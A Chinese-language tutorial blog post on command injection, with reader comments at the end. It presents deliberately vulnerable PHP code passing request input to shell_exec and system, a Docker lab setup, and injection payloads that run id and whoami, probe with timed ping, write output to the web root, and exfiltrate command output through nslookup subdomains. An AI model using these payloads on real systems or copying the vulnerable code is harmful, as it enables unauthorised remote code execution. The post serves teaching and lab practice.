今天要介紹的 Command injection ,也就是可以透過這個漏洞去執行伺服器的命令 ( Command ) ,通常有這個漏洞就可以做到遠端程式碼執行( RCE,Remote Code Execution)。
通常會有這個漏洞,主要是出現後端邏輯透過指令「串接」的方式。而且沒有去驗證使用者的輸入,但我們前幾天介紹的 injection 其實都沒有去驗證使用者輸入的內容。
<?php
if( isset( $_REQUEST[ 'ip' ] ) ) {
$target = $_REQUEST[ 'ip' ];
$cmd = shell_exec( 'ping ' . $target );
echo "<pre>{$cmd}</pre>";
}
?>
feifei.com.tw/?ip=8.8.8.8&id
<?php
if( isset( $_REQUEST[ 'mail' ] ) ) {
$target = $_REQUEST[ 'mail' ];
$cmd = shell_exec( 'mail -s "Hi" -aFrom:feifei@feifei.com.tw' . $target );
}
?>
ping
網站,看回應的時間去判斷是否有漏洞存在feifei.com.tw/?mail=& ping -c 10 127.0.0.1 &
<?php
if( isset( $_REQUEST[ 'mail' ] ) ) {
$target = $_REQUEST[ 'mail' ];
$cmd = shell_exec( 'mail -s "Hi" -aFrom:feifei@feifei.com.tw' . $target );
}
?>
feifei.com.tw/?mail=& whoami > /var/www/html/whoami.txt &
feifei.com.tw/whoami.txt
& nslookup xxx.feifei.com.tw &
& nslookup ``whoami``.feifei.com.tw &
exe.php
<?php
if( isset( $_REQUEST[ 'ip' ] ) ) {
$target = $_REQUEST[ 'ip' ];
$cmd = system( 'ping ' . $target );
echo "<pre>{$cmd}</pre>";
}
?>
docker-compose.yml
version: "2"
services:
web:
image: php:7-apache
ports:
- "8004:80"
volumes:
- ./server:/var/www/html/
圖片真的很用心,內容也是深入淺出
也順便推一下連結的Portswigger LAB
我這陣子也是花了不少時間在Portswigger Academy
不過小小有個點想提醒與確認一下XD
第一張圖的部分
Linux使用的id指令在windows中應該是沒有...吧?
嗨,感謝你的回覆
因為自己的 Windows 環境有 id 的指令,
不過經確認過沒有裝套件是沒有這個功能的。
我下班之後再更新圖片,感謝你的提醒 :)